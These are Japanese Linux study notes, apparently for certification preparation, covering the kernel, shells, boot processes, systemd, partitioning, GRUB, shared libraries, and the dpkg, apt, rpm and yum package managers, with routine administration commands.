Kali Linuxセキュリティテストとペネトレーションテスト向けに特化したディストリビューション。APT (apt)
Tailsプライバシーと匿名性を重視し、セキュアなOSを提供。APT (apt)
Qubes OSセキュリティ重視のディストリビューション。仮想化基盤にXenを用いている。APT (apt)

1.3. Linuxの特徴とシェル

1.3.1 カーネルとユーザランド

OSはカーネルユーザランドという領域に分かれる。

カーネル

カーネル

カーネルはOSの中核となる部分で、ハードウェアと直接やりとりするなどもっとも中心的な機能を受け持つ部分。 カーネルはハードウェアの違いを吸収して、プログラムがどのようなハードウェア上でも同じように動作する役割がある。

Linuxにおいてのカーネルはアプリケーションが動作するための基本環境を提供する。

具体的には「メモリ管理」「CPUリソースの配分」「ハードウェアにおける処理順序の割り振り」など、ユーザが意識しないバックグラウンドで動く基本機能を行う。

ユーザランド

OSが動作するのに必要なカーネル以外の部分のこと。 ファイルシステムやファイル操作コマンド、シェルなどの基本的なソフトウェア群を指す。

1.3.2. Linuxカーネルの基本動作

Linuxカーネルが提供する基本的なカーネルの機能の一部を記載する。

割り込み管理

コンピュータに接続されているさまざまな周辺機器の入出力処理の割り込みを管理するもの。

割り込み処理はプロセッサが処理を行っている最中でも,特定の信号があると処理を中断して別の処理を行わせる処理のことを指す。Linuxカーネルでは割り込みをうまく利用してさまざまな処理を効率的に処理することが可能となっている。

メモリ管理

Linuxカーネルでは、物理メモリと仮想メモリを用いてデータを管理している。プロセス一つ一つに対して、実際に物理メモリのアドレスをそのまま割り当てるのではなく、物理メモリに対応した仮想アドレスを割り当てることで、実際の物理メモリの容量よりもはるかに大きな容量のメモリを利用可能にしている。

また、各プロセスに対して固有の仮想アドレスを割り振ることで、それぞれのプロセスのメモリ空間は独立させています。そのためプロセスのメモリを犯さないようになっている。

ファイルシステム

保存されているデータに対してファイルという形でアクセスできるように提供しているもの。 全てのデータをファイルと言う形で管理しています。/(root)(ルートディレクトリ)を頂点としたツリー状の構造をしており、カーネル自体もファイル、ディレクトリの集合体として存在する。

1.3.3. シェル

シェルとシェルスクリプト

Linux にはシェルという対話型のコマンド入力環境が用意されている。

シェル自体には大きく2 つの機能があり、1つはコマンド入力を受け付けること、もう 1 つはシェルスクリプトの実行がある。 シェルスクリプトとは、「コマンドの入力を自動化する」ためのもので1 つのファイルにコマンドを 1 行ずつ記述して作成する。 作成したシェルスクリプトを実行することで、コマンドの実行を自動化することができる。

また作成したシェルスクリプトをサーバーの起動時に実行したり、数時間毎に実行したりすることも可能。

シェルの種類

以下にいくつかの一般的なシェルとそれらの特徴を表で示す。

シェル名特徴と説明
BashBourne Again SHellの略。Linuxシステムで広く使用されるデフォルトのシェル。豊富なコマンドとスクリプト機能を提供。
Zshオープンソースの拡張可能なシェル。Bashの拡張版で、カスタマイズ性が高く、タブ補完などの便利な機能を備えている。
Fishユーザーフレンドリーな対話型シェル。自動補完やシンタックスハイライトなど、新しいユーザーにも親しみやすい特徴がある。
CshCシェルの略。Unixの初期から存在するシェルで、C言語に似た構文を持つ。カスタマイズ性は低いが、一部のユーザーには好まれる。
KshKorn SHellの略。Bourne Shellの拡張版で、シェルスクリプトの開発をサポートする高度な機能を提供。
DashDebian Almquist SHellの略。軽量なシェルで、起動が速く、システムの基本的なタスクを処理するのに適している。

14.1.2 - 2.システムアーキテクチャ

BIOS/UEFIやハードウェア機能、SystemdなどのLinuxシステムに関して

2.1. ハードウェア設定と構成

2.1.1. BIOSとUEFI

BIOS

BIOS(Basic Input Output System)はキーボードなどのデバイスを制御する基本的なプログラムでマザーボードや拡張カードのフラッシュROMに書き込まれている。 これはパソコンの起動時に最初に実行されるプログラムで、コンピュータの基本的なハードウェアを制御する役割を担っている。

BIOSの役割は以下の通り。

  • OSを起動するためのプログラムをディスクから読み込んで実行する
  • デバイスの動作を設定
  • 基本的な入出力の管理

UEFI

UEFI(Unified Extensible Firmware Interface)はBIOSの容量制限がなくなったり、GUIベースのセットアップ画面を利用できるなど拡張されたBIOSの後継規格。

UEFIはBIOSと異なり、C言語などのプログラミング言語を使用して開発された。 また、BIOSよりも高速で安定性が高く、セキュリティも強化されている。

UEFIには、BIOSに比べて多くの機能があり、起動ローダーやネットワークブート機能、セキュアブート機能などがある。

UEFIの特徴は以下の通り。

  • 起動ドライブの容量制限(2TB)の撤廃
  • GUIベースのセットアップ画面

UEFIとBIOSのセットアップ

OSがインストールされているコンピュータのBIOS/UEFIに入るにはコンピュータ起動後にBIOSに入るにはDeleteやF1、F2などを連打する必要がある。なお連打するキーはマザーボードのメーカによって異なる。

BIOS/UEFIでは以下項目を設定可能。

  • 日付や時刻(ハードウェアクロック)
  • ディスクドライブや各種デバイスのパラメータ
  • キーボードの使用/不使用
  • 電源管理
  • ブートデバイスの優先順位
  • デバイスへのIRQ(割り込み要求)の割り当て
  • 各種デバイスの使用/不使用

2.1.2. デバイスの情報確認

デバイスファイル

Linuxではハードウェアのアクセスを抽象化したデバイスファイルにて行う。デバイスファイルは/dev配下にある。

なおこれらはudevという仕組みにより自動的に生成される。

/procディレクトリ

Linuxカーネルが認識しているデバイス情報は/proc配下に格納される。

主なファイル説明
/proc/cpuinfoCPUの情報を格納したファイル
/proc/interruptsIPQなどの情報を格納したファイル
/proc/ioportsデバイスの制御とデータの受け渡しを行うI/Oポートのアドレスを格納したファイル
/proc/meminfoメモリの情報を格納したファイル
/proc/bus/usb/*USBデバイスの情報を格納したファイル
/proc/bus/pci/*PCIデバイスの情報を格納したファイル
/proc/cmdline起動時のカーネルオプションが格納したファイル

lspciコマンド

デバイスの情報を確認するためのコマンド。

lspci 
オプション説明
-v詳細に表示
-vvより詳細に表示

2.1.3. USBデバイス

USBはPCを周辺機器と接続するための規格。 特徴は以下の通り。

  • 最大127台のデバイスをUSB接続可能
  • 同一コネクタ
  • ホットプラグ
  • プラグ&プレイ
    • H/W、F/W、ドライバ、OS、アプリケーション間が自動的に協調し機器の組み込みと設定を自動的に行う
  • 電源供給

USBのバージョン

バージョン最大転送速度
USB 1.012Mbps
USB 1.112Mbps
USB 2.0480Mbps
USB 3.05Gbps
USB 3.110Gbps
USB 4.040Gbps

デバイスドライバ

ハードウェアの利用にはデバイスドライバが必要となる。 ドライバはベンダーが用意した専用ドライバとLinuxシステムが提供するクラスドライバに分けられる。

USBデバイスを使用するにはデバイスドライバが必要。これはUSBデバイスがデバイスクラスに応じて異なる方法で通信するために使用される。また、クラスドライバはデバイスクラスに準拠する。

デバイスクラスサポートするUSBデバイスの例
HID: Human Interface Deviceskbd, mouse
USB Mass Storage DeviceUSBメモリ、HDD、デジタルオーディオプレーヤー
オーディオマイク、スピーカー、サウンドカード
プリンタプリンタ
ワイヤレスコントローラーWi-Fiアダプタ、Blutoothアダプタ

なお、デバイスクラスの使用に沿ったUSBデバイスはクラスドライバで対応するため、専用のデバイスドライバは不要となる。

lsusbコマンド

接続されたUSBデバイスの情報を表示するためのコマンド。

lsusb
オプション説明
-v詳細な情報を表示
-tツリー形式でUSBデバイスを表示
-s [bus]:[device]特定のバス番号とデバイス番号で指定されたUSBデバイスの情報を表示
-d [vendor]:[product]特定のベンダーIDとデバイスIDで指定されたUSBデバイスの情報を表示

2.1.4. udev

udevはデバイスの管理とドライバの自動検出を行う仕組み。 udevはシステムに新しいデバイスが追加された場合、デバイスの属性情報を取得し、それに基づいて対応するデバイスドライバを自動的に読み込むことができる。

デバイスの情報は、D-Busと呼ばれるプロセス間通信(IPC)のための機構により、異なるアプリケーション間でデータやシグナルを送信したり、受信したりすることができる。

2.1.5. デバイスドライバのロード

lsmodコマンド

lsmodコマンドはロードされたカーネルモジュールの一覧を表示するためのコマンド。 カーネルモジュールは、カーネル内で動作するドライバーやファイルシステムなどの機能を提供している。

lsmod

modprobeコマンド

modprobeコマンドはカーネルモジュールを手動でロードするためのコマンド。modprobeコマンドを使用すると、特定のカーネルモジュールをロードしたり、モジュールの依存関係を自動的に解決したりすることができる。

modprobe <カーネルモジュール名>

2.2. システムの起動とシャットダウン

2.2.1. Linuxのシステム起動フロー

OSが起動するまでの流れは基本的には以下の通り。(x86アーキテクチャ構成の場合)

  1. BIOS/UEFIが起動し、ハードウェアチェックや初期化を行い、ブートローダを読み出し制御を移す
  2. カーネルはメモリの初期化、システムクロックの設定を行い、初期RAMディスクをマウントする
  3. カーネルは最初のプロセスであるinit(またはsystemd)プロセスを実行する

起動

2.2.2. システム起動時のイベント確認方法

システム起動時にカーネルがどのような処理を行ったかはログファイルである/var/log/message/var/log/dmesg/var/log/boot.logなどに保存される。

これらのファイルはテキストファイルなのでcatコマンドで閲覧可能となる。なお閲覧にはroot権限が必要な場合がある。

dmesgコマンド

dmesgはシステム起動時にカーネルがどのような処理を行かったか確認できるコマンド。

dmesg

journalctl -kコマンド

systemdを採用したシステムにおいてdmesgコマンドと同様にカーネルのバッファを表示することができるコマンド。 bオプションでシステム起動時のメッセージの表示が可能。

journalctl -k

2.2.5. シャットダウンと再起動

shutdownコマンド

shutdownコマンドはシステムのシャットダウンや再起動を行うことができるコマンド。

shutdown [オプション] 時間 <メッセージ>
オプション説明
-hシャットダウン後にシステムを停止する
-rシャットダウン後にシステムを再起動する
-kシャットダウンを実際には行わず、ユーザーに警告メッセージを表示する
-tシャットダウンまでの待機時間(秒)を指定する
-cシャットダウン処理をキャンセルする
-fシャットダウン処理を強制的に実行する

以下の例は30分後にシステムを停止し、ログインしているユーザに「Please logout now」とメッセージを表示するもの。

shutdown -h +30 "Please logout now."

systemctlコマンド

systemdを採用したLinuxシステムではshutdownの代わりにsystemctl rebootで再起動、systemctl poweroffでシステムの終了が行える。

systemctl reboot //再起動
systemctl poweroff //システム終了

2.3. SysVinitとランレベル

2.3.1. SysVinitによる起動

SysVinitはかつて使用されていたLinuxの起動の仕組み。 現在はsystemdのほうが主流となっている。

SysVinitによる起動順序は以下の通り。

  1. initが/etc/inittabファイルを読み込む
  2. initが/etc/rc.sysinitnスクリプトを読み込む
  3. initが/etc/rcスクリプトを実行する
  4. /etc/rcスクリプトが /etc/rc<ランレベル>.dディレクトリ以下のスクリプトを実行する

SysVinitはサービスを順次起動に時間がかかる、依存関係を適切に処理できない問題があった。これらの問題を解決した起動の仕組みにはupstartsystemdがある。

Upstart

UpstartはSysVinitを改善した新しいinitの仕組みで以下の特徴がある。

  • 依存関係を適切に処理
  • 並列起動
  • イベント駆動

2.3.2. ランレベル

ランレベルはLinuxシステムの動作モードのこと。 システムのデフォルトのランレベルは/etc/inittabに記載されている。 またこのファイルで起動する際のランレベルも設定できる。

ランレベルRedHat系Debian系
0停止停止
1シングルユーザモードシングルユーザモード
2マルチユーザモード(テキストログイン、NFSサーバは停止)マルチユーザモード
3マルチユーザモード(テキストログイン)マルチユーザモード
4未使用マルチユーザモード
5マルチユーザーモード(グラフィカルログイン)マルチユーザモード
6再起動再起動
S or sシングルユーザーモードシングルユーザモード

runlevelコマンド

現在のランレベルの確認を行うコマンド。

runlevel

表示は<以前のランレベル> <現在のランレベル>で表示される。

init/telinitコマンド

ランレベルの変更を行うコマンドで実行にはroot権限が必要。

init 1
telinit 1

wallコマンド

wallコマンドはログインしているユーザー全員の端末画面に一斉にメッセージを送信するコマンド。再起動や停止を行う際にシステム利用者に通知するために使用する。

wall [ -a ] [ -g Group ] <メッセージ>

2.3.3. 起動スクリプトのサービス管理

ランレベルごとに起動するサービスは異なり、確認は/etc/rcN,d(Nは数字)で確認できる。

例えば/etc/rc3.dではランレベル3の時に起動するスクリプトを確認できる。

2.4. Systemd

2.4.1. Systemdの概要

Systemdのシステムではinitの代わりにsystemdプロセスが起動し各サービスの管理を行う。またSystemdは処理を分割して並列化することでシステム起動処理を高速化している。具体的には以下のような複数のデーモンプロセスが連携して動作する

プロセス説明
systemdsystemdを統括するメインプロセス
systemd-journaldジャーナル管理、ログ管理
systemd-logindログイン処理
systemd-networkdネットワーク管理
systemd-timesyncdシステムクロック同期
systemd-resolved名前解決
systemd-udevdデバイス動的検知

またSystemdではUnitという処理単位でシステムの起動処理が行われる。

種類説明
service各種サービスの起動
device各種デバイスの表現
mountファイルシステムのマウント
swapスワップ領域の有効化
target複数のUnitのグループ化
timer指定した日時・間隔での処理実行

2.4.2. Systemdの起動順序

systemdにはランレベルの概念がない。 その代わりにシステム起動時には/etc/systemd/system/default.targetというUnitが処理される。

またグラフィカルログイン(ランレベル5)に相当するUnitは/etc/systemd/system/graphical.targetとなる。

SysVinitのランレベルでSystemdのUnitを置き換えると以下のようになる。

ランレベルターゲット
0poweroff.target
1rescue.target
2 ~ 4multi-user.target
5graphical.target (multi-user.target + )
6reboot.target

default.targetは、上記のターゲットのシンボリックリンクを作成することで設定することができる。

2.4.3. systemctlコマンド

systemctlコマンドはsystemdにおけるサービスを管理を行うコマンド。

systemctl [サブコマンド]
サブコマンド説明
start / stopサービスの起動 / 終了
restartサービスの再起動
reloadサービスの設定を再読み込み
statusサービスの稼働状況の出力
is-activeサービスが稼働しているかの出力
enable / disableシステム起動時にサービスを自動で起動 / 自動で起動しない
rebootシステムの再起動
list-units起動している全てのUnitの状態を表示
list-unit-files全てのUnitを表示
list-dependenciesUnitの依存関係の表示

2.4.4. journalctlコマンド

journalctlコマンドはsystemd-journaldが収集したログを表示するためのコマンド。パイプやgrepコマンドと組み合わせて使用することが多い。

journalctl

14.1.3 - 3.Linuxのインストールとパッケージ管理

Linuxのインストール際の補足(パーティションやSwap)、aptなどのパッケージマネージャに関して

3.1. ハードディスクのレイアウト設計

3.1.1. Linuxに必要なパーティション

Linuxのインストールにはルートパーティションスワップ領域の最低2つの領域が必要になる。

ルートパーティション

ルートパーティションは/で表されるシステムファイルが含まれる領域のこと。 後述するパーティション分割を行うと障害発生の復旧が容易になる。

スワップ領域

スワップ領域は仮想メモリの領域であり、物理メモリ不足時に、仮想的なメモリ領域として一時的に使用する領域。 一般的には/swapfileという名前になる。

搭載メモリの1から2倍は割り当てる必要がある。

パーティションを分割できるディレクトリ

また以下のルート以下のディレクトリはパーティションを切って割り当てることができる。 メリットは以下の通り。

  • 柔軟なシステムの管理が可能
  • ディスク障害児の復旧作業や障害の軽減
ディレクトリ説明分けるメリット
/homeユーザ別のホームディレクトリが置かれる環境引継ぎが可能(ディストリビューションの変更など)
/bootシステムブートにに使われるディレクトリ
/varログやスプールが置かれるログをルートから分離できる
/usr全体でシェアしたいプログラム/ライブラリ/ドキュメントが置かれる
/tmp一時ファイルが置かれるディレクトリ

3.1.2. パーティションのレイアウト設計

パーティションのレイアウトを設計する場合以下の点を考慮して設計する必要がある。

  • システムの用途
    • 使用規模
    • 使用目的
  • ディスクの容量
  • バックアップの方法

例: 200GBのハードディスク、1GBメモリ、ユーザ規模100人のファイルサーバを構築する場合

考慮事項としてはスワップ領域は物理メモリと同等、/bootに先頭100MB程度含まれること、/を最小化すること、/homeはユーザ数が多いファイルサーバという特性上最も多くすることがある。

  • メモリの分割
    • スワップ領域: 1GB
    • /boot: 100MB
    • /usr: 10GB
    • /var: 10GB
    • /: 1GB
    • /home: 残りのすべて(約180GB)

例: 100GBのハードディスク、4GBのメモリのWebサーバをApacheで構築する場合

考慮事項としてはスワップ領域は物理メモリと同等、/bootに先頭数100MB程度含まれること、/var/logはログファイルが沢山たまることになるので多くとることがある。

  • メモリの分割
    • スワップ領域: 4GB
    • /boot: 100MB
    • /usr: 10GB
    • /var: 20GB
    • /var/log: 50GB
    • /: 15GB

3.1.3. LVM

LVMは論理ボリューム管理と呼ばれる物理ボリュームを束ねて仮想ディスクを作る仕組みのこと。

物理ボリュームを束ねたものはボリュームグループとなり、ボリュームグループ上に仮想的なパーティションを作ることになる。 この仮想的なパーティションが論理ボリュームとなる。

3.2. ブートローダのインストール

3.2.1. ブートローダとGRUB

ブートローダは広義ではBIOSから呼び出されカーネルを呼び出すものでハードディスク等からOSを起動するためのプログラムを指す。 代表的なものにはGRUBがある。 GRUBの特徴は以下の通り。

  • 多数のファイルシステムの認識が可能
  • シェル機能の搭載

またGRUBにはバージョン0.9系のGRUB Legacyとバージョン1.9系のGRUB2があり、それぞれパーティションの数え方が異なる

項目GRUB LegacyGRUB2
Version0.9x1.9x
ディスク番号0から1から
パーティション番号0から1から

3.2.2. GRUBのインストール

GRUBのインストールは以下コマンドより行える。

sudo grub-install /dev/sda # /deb/sda の MBRに GRUB Legacyのインストール
grub-install -v # GRUBのバージョン確認
grub-install -V # GRUB2のインストール

3.2.3. GRUB Legacyの設定

GRUBの設定は/boot/grub/menu.lstまたは/boot/grub/grub.confの編集で行える。 内部の表示には(hd0,0)などと表示され0から始まる

3.2.4. GRUB2の設定

GRUB2の設定は/boot/grub/grub.cfgに自動生成されるためファイルを直接触ってはいけない。 設定の際に触るファイルは/etc/default/grubとなりgrub2-mkconfigコマンドなどで設定を反映する。

なおパーティションは1から始まる

# 設定ファイルの生成
sudo grub-mkconfig -o /boot/grub/grub.cfg 

3.3. 共有ライブラリ管理

ライブラリはよく使わられる機能をまとめ再利用するためのもの。 種類は2つあり、静的ライブラリ共有ライブラリがある。

3.3.1. 静的ライブラリ

静的ライブラリは実行プログラムにライブラリを含めた形でリンクされるライブラリ。 特徴は以下の通り。

  • 1つのプログラムだけで動作させることができ別環境で動作可能
  • プログラムのサイズが大きくなる

3.3.2. 共有ライブラリ

共有ライブラリはプログラム実行と同時にメモリ上に展開されるライブラリで複数のプログラム間で共有される。 特徴は以下の通り。

  • プログラム全体のサイズが小さくなる
  • プログラム実行時に適切に配置されたライブラリが必要となる

3.3.3. スタティックリンクとダイナミックリンク

リンクはプログラムからライブラリの機能を呼び出すことを指す。

スタティックリンク

スタティックリンクではコンパイル時に実行ファイルに埋め込む。 これにより呼び出されるのは静的ライブラリとなる。

ダイナミックリンク

ダイナミックリンクではコンパイル時では埋め込んでおかず実行時にライブラリの機能が呼び出しされる。 これにより呼び出されるのは共有ライブラリとなる。

なお共有ライブラリは/libまたは/usr/libに配置されており、Linuxのディストリビューションでは共有ファイルはlib.xxx.soという名前で構築されている。

tree -L 1 /usr/lib | grep so

3.3.4. lddコマンド

lddコマンドでは必要な共有ライブラリの確認をすることができる。

なお.soを探す場所は/etc/ld.so.confで定義される。

ldd /usr/bin/ldd

3.3.5. ldconfigコマンド

ldconfigコマンドでは共有ライブラリを認識させることができる。 これの実行によりld.so.cacheが更新される。

sudo ldconfig

3.3.6. 共有ライブラリの環境変数

共有ライブラリの検索で使用する環境変数はLD_LIBRARY_PATHとなる。

3.4. Linuxのパッケージ管理

3.4.1. パッケージとは

パッケージは実行プログラムや設定ファイル、ドキュメントを1つにまとめたもの。 パッケージの管理はディストリビューションにより異なる。

  • Debian系
    • Debian GNU/Linux
    • 拡張子は「.deb」
  • RPM系
    • Red Hat Enterprise Linux
    • 拡張子は「.rpm」

3.4.2. パッケージ管理とは

パッケージ管理システムはパッケージのインストール/アンインストール、アップデートを簡易にする仕組み。 パッケージ管理システムではどこにパッケージが保存されているか管理、依存関係競合関係の管理を行う。

  • パッケージの依存関係
    • あるパッケージに含まれるファイルを別のパッケージが利用している場合の関係
  • パッケージの競合関係
    • あるパッケージによってインストールされるファイルが、すでに別のパッケージによりインストールされている場合、すでにインストールされているファイルと競合する場合の関係

3.4.3. パッケージの管理形式

パッケージの管理形態のDebian系、RedHat系に互換性はないが、aliasコマンドで相互交換が可能。

Debian系(deb)RedHat系(rpm)
ディストリビューションDebian系RedHat系
パッケージの管理dpkg, aptrpm, yum

3.5. Debian系のパッケージ管理

3.5.1. dpkgコマンドによるパッケージ管理

パッケージファイル名の構成

パッケージであるdebファイルは以下のような構成となる。

sample_1.2.3-1_i386.deb
  • sample … パッケージ名
  • 1.2.3 … バージョン番号
  • 1 … リビジョン番号
  • i386 … CPUアーキテクチャ

コンフィグファイル(/etc/dpkg/dpkg.cfg)

dpkgのコンフィグファイルは/etc/dpkg/dpkg.cfgにある。

dpkgコマンド

dpkg -i <パッケージ名(.deb含む)>
オプション説明
-E同じバージョンがすでにインストールされている場合、インストールは行わない
-G新バージョンがすでにインストールされている場合、インストールはしない
-Rディレクトリ構造を再帰的に処理する
アクション説明
-iパッケージをインストール
-Iインストール済みの詳細情報を表示
-rパッケージをアンインストール (設定ファイルは残す)
-Pパッケージをアンインストール (設定ファイルを含めて完全に削除)
-lインストール済みパッケージを検索して表示
-Lパッケージからインストールされたファイルを一覧表示
-sインストール済みのパッケージの詳細情報の表示
-S指定したファイルが、どのパッケージからインストールされたものかを調査
-cパッケージに含まれるファイルの一覧表示
-C / –auditパッケージのインストール状態を検査

dpkg-reconfigureコマンド

dpkg-reconfigureコマンドは既にインストールされたdebパッケージの状態を再設定するもの。

3.5.2. apt-getコマンドによるパッケージ管理

apt-getコマンドはアプリケーションの依存関係を調整しながらパッケージのインストール、アップグレードを行うため依存解決までできる。 またインターネット経由で最新パッケージ取得する

apt-getコマンド

apt-get <オプション> <パッケージ名>
apt-getコマンドのオプション説明
-dインストールせずにダウンロードのみ行う
-sシステムを変更せずに動作をシミュレートする
–purge設定ファイルを含めてパッケージを削除する (removeコマンドと一緒に指定)
cleanダウンロードしたパッケージファイルを削除する
dist-upgradeDebianのシステムを最新にアップグレードする
install指定したパッケージをインストール、またはアップグレードする
remove指定したパッケージをアンインストール ( 設定ファイルは残す )
updateパッケージのリスト情報(データベース)を最新に更新する
upgradeシステムの全パッケージを最新版にアップグレードする
オプション説明
-c設定ファイルの指定(デフォルトでは/etc/apt/sources.list)
-y全部yes
-dダウンロードのみ
-sシステムを変更せず動作をエミュレートする
no-install-recommends必須ではないパッケージをインストールしない
–resinstall最新版がインストールされていてもインストール
clean取得したパッケージのローカルリポジトリを掃除する
dist-upgradeディストリビューションをアップグレードする
install新規パッケージをインストールする
removeパッケージが削除される(削除されたパッケージの設定ファイルは残る)
purgeパッケージが削除かつ完全削除(設定ファイルも含む)
update設定されたすべての取得元からパッケージ情報をダウンロードする
upgrade現在インストール済みのすべてのパッケージで利用可能なアップグレードをインストールする
full-upgradeシステムのメジャーバージョンを最新にアップグレードする(dist-upgradeと同じ)
autoremove必要なくなったパッケージの削除

パッケージの取得先(設定ファイル)

パッケージの取得先は/etc/apt/sources.list/etc/apt/sources.list.d/*に保存される。

/etc/apt/sources.listの中身は以下のように表示される。

...
deb http://security.ubuntu.com/ubuntu bionic-security main restricted
# deb-src http://security.ubuntu.com/ubuntu artful-security main restricted
deb http://security.ubuntu.com/ubuntu bionic-security universe
# deb-src http://security.ubuntu.com/ubuntu artful-security universe
deb http://security.ubuntu.com/ubuntu bionic-security multiverse
# deb-src http://security.ubuntu.com/ubuntu artful-security multiverse

apt-cacheコマンド

apt-cache はインストール済みとインストール可能なパッケージの情報の照会と検索が可能なコマンド。

apt-cache
サブコマンド説明使用例
search - 正規表現正規表現パターンによってパッケージ一覧を検索apt-cache search apache2 | head -n 5
show一般的な情報を表示apt-cache show apache2 | head -n 20
showpkg <パッケージ名>詳細な情報を得るapt-cache showpkg apache2
depends - <パッケージ名>パッケージの生の依存情報を表示apt-cache depends apache2

aptitudeコマンド

aptitudeコマンドはapt-getよりも高機能なコマンド。 apt-getとapt-cacheの機能をもつ。

aptコマンド

aptコマンドはapt-getの後発のコマンド。 主なオプションはapt-getと同じもの使える。

aptのリポジトリの登録

aptのリポジトリの登録はadd-apt-repositoryコマンドで可能。

3.6. RedHat系のパッケージ管理

3.6.1. rpmコマンドによるパッケージ管理

パッケージファイル名の構成

パッケージであるrpmファイルは以下のような構成となる。

sample_1.2.3-1_x86_64.rpm
  • sample … パッケージ名
  • 1.2.3 … バージョン番号
  • 1 … リビジョン番号
  • x86_64 … CPUアーキテクチャ

rpmコマンド

rpm -i <パッケージ名(.rpm含む)>
オプション説明
-v, –verbose詳細を表示
-h, –hash#で進捗表示
-i, –installインストール
-F, –freshenパッケージがインストールされていればアップグレード
-U, –upgradeパッケージがインストールされていればアップグレード。なければインストールする
-e, –eraseパッケージをアンインストール

使用例は以下の通り。

rpm -ivh nmap-5.51-2.el6.i686.rpm # nmapのインストール

rpm -qコマンド

rpmの照会モード。

rpm -q<オプション>
オプション説明
-a, –aインストール済みパッケージの全表示
-i, –info情報の表示
-f, –fileファイルをバッケージに
-l, –listパッケージ->ファイル群
-pパッケージ名でパッケージ指定
-R, –requires依存関係調べる
–changelog変更履歴見る
-K, –checksigRPMパッケージの電子署名の検証

使用例は以下の通り。

rpm -qa | grep bash # bashというパッケージ探す
rpm -qi bash # bashパッケージの情報取得
rpm -qR bash # bashの依存関係の調査

rpmパッケージの展開

rpmパッケージの展開はrpm2cpioコマンドで行う。 このコマンドではRPMバッケージをインストールせず、内容を展開を行う。

3.6.2. yumコマンドによるパッケージ管理

yumはAPTツール同様、パッケージ間の依存関係を解決しながらダウンロード、インストール、アップデート、アンインストールすることができ、またインターネット経由で最新パッケージ取得してくれるコマンド。

yumコマンド

yum <オプション> <パッケージ名>
オプション説明
installインストール
removeアンインストール
update全パッケージのアップデート
update [package]指定のパッケージのアップデート実施
check-updateアップデートパッケージが存在するパッケージを一覧表示
info [package]パッケージ情報の確認
listリポジトリにあるすべてのパッケージ情報表示
searchキーワード検索

パッケージの取得先(設定ファイル)

パッケージの設定ファイルは/etc/yum.conf/etc/yum.repos.d/*に保存される。

/etc/yum.repos.d/hogehoge.repoの中身の例は以下のように表示される。

...
[base]
name=CentOS-$releasever - Base
mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

#released updates 
[updates]
name=CentOS-$releasever - Updates
mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

3.6.3. dnfコマンドによるパッケージ管理

dnfコマンドは基本的にyumとほぼ同じように使えるコマンド。

3.6.4. zipperコマンドによるパッケージ管理

openSUSEではzypperコマンドでパッケージ管理を行う。

3.7. 仮想環境のゲストOSとしてのLinux

3.7.1. インスタンス

インスタンスはクラウドサービス上の仮想的マシンのことを指す。 XaaSで提供される。

3.7.2. Cloud-initとは

cloud-init はクラウドにおけるインスタンスの早期初期化を行うLinuxパッケージのこと。 ディストリビューションで使用可能な場合はインストール後にインスタンスの多くの一般的なパラメータを直接設定できる。 設定できるパラメータは以下の通り。

  • ホスト名
  • SSH鍵
  • 一般ユーザー
  • インストールするパッケージ

14.1.4 - 4.UNIX/Linuxコマンド

Linuxの操作をするためのUNIX/Linuxコマンドに関する説明

4.1. シェル

4.1.1. シェルとシェルの種類

シェルとは

シェルはコマンドを解釈して実行するプログラムのこと。 利用可能なシェルは/etc/shellsで確認可能。

シェルの種類

シェル説明
shUNIX V7から標準添付されているUNIXの基本的なシェル
cshC言語スタイルの構文を持ったUNIX系OSの代表的なシェル
tcshCシェルの派生版の中で特にユーザーインターフェイス部分を中心に拡張されたシェル
kshBシェルと上位互換を保ちながら、Cシェルなどから優れた機能を取り込んだシェル
bashUNIX系のシェルの1つでLinuxで用いられる標準のシェル

ログインシェル

ログインシェルはシステムへのログイン直後に起動するシェルのことで、これはユーザごとに定義が可能。 ユーザごとのログインシェルは/etc/passwdファイルに記述される。

なお現在ログインしている自身が使用しているシェルはps $$コマンドで確認できる。

4.1.2. シェルの基本操作と設定

シェルのキーボード操作

入力キー説明
Tabキーコマンドやディレクトリ名などを補完する
Ctrl + C実行処理を中断する
Ctrl + Z実行処理を一時停止する
Ctrl + A行の先頭へカーソルを移動する
Ctrl + Dカーソル上にある文字列を1文字削除する
Ctrl + E行の最後へカーソルを移動する
Ctrl + Hカーソルの左側の文字列を1文字削除する
Ctrl + L画面をクリアして、現在の行だけを再表示する
Ctrl + Q画面への出力を再開する
Ctrl + S画面への出力を停止する

ディレクトリの指定

メタキャラクタ説明
~ホーム
.カレントディレクトリ
..1つ上のディレクトリ

4.1.3. シェル変数と環境変数

Linuxが扱う変数にはシェル変数と環境変数の2種類がある。

シェル変数

シェル変数は現在実行しているシェルの中だけで有効な変数のこと。 特徴は以下の通り。

  • シェルを終了すると失われる
  • 別のシェルから参照することはできない

利用方法はecho $変数名で行い、例は以下の通り。

echo $hoge
hoge=123

なおunset 変数名で定義した変数の削除が可能。

環境変数

環境変数は現在実行しているシェルとそのシェルで実行されたプログラムにも引き継がれる変数のこと。

利用方法はexport 変数名で行い、例は以下の通り。

hoge=123
export hoge

また主な環境変数は以下の通り。

環境変数説明
PWDカレントディレクトリ
HOSTNAMEホスト名
USER現在のユーザー
LOGNAMEログインシェルのユーザー名
HISTSIZEコマンド履歴の最大値
HISTFILEコマンド履歴を格納するファイル
HISTFILESIZEHISTFILEに保存する履歴数
LANGロケール
HOMEカレントユーザーのホームディレクトリ

またPATHは既存のパスの後ろに;区切りで追加して以下のように通す。

export PATH=$PATH:/additional/path

シェル変数/環境変数の確認

シェル変数と環境変数を確認するためにはsetコマンドを使用する。 また設定済みの環境変数を一覧表示するためには、envコマンドやprintenvコマンドを使用する。

4.1.4. コマンドの実行と引用句

コマンドの区切り文字との実行

コマンドの区切り文字でコマンドを挟むと以下のような効果がある。

<コマンド1> <区切り文字> <コマンド2>
区切り文字説明
;コマンドを同時に実行
&&最初に実行したコマンドが正常に終了できた場合のみ次コマンドを実行
||最初に正常にコマンド終了できなかった場合のみ次コマンドを実行
コマンドに引用句を使う
引用句説明
''常に文字列として扱う
""変数展開する
~~コマンド展開する
``コマンドを実行した結果を展開する

4.1.5. コマンド履歴の確認とマニュアルの確認

historyコマンド

historyコマンドはコマンド履歴を確認するコマンド

コマンド説明
history 数字数自分だけ過去の履歴を表示
!数字数字のコマンドを実行
!!直前のコマンドを実行

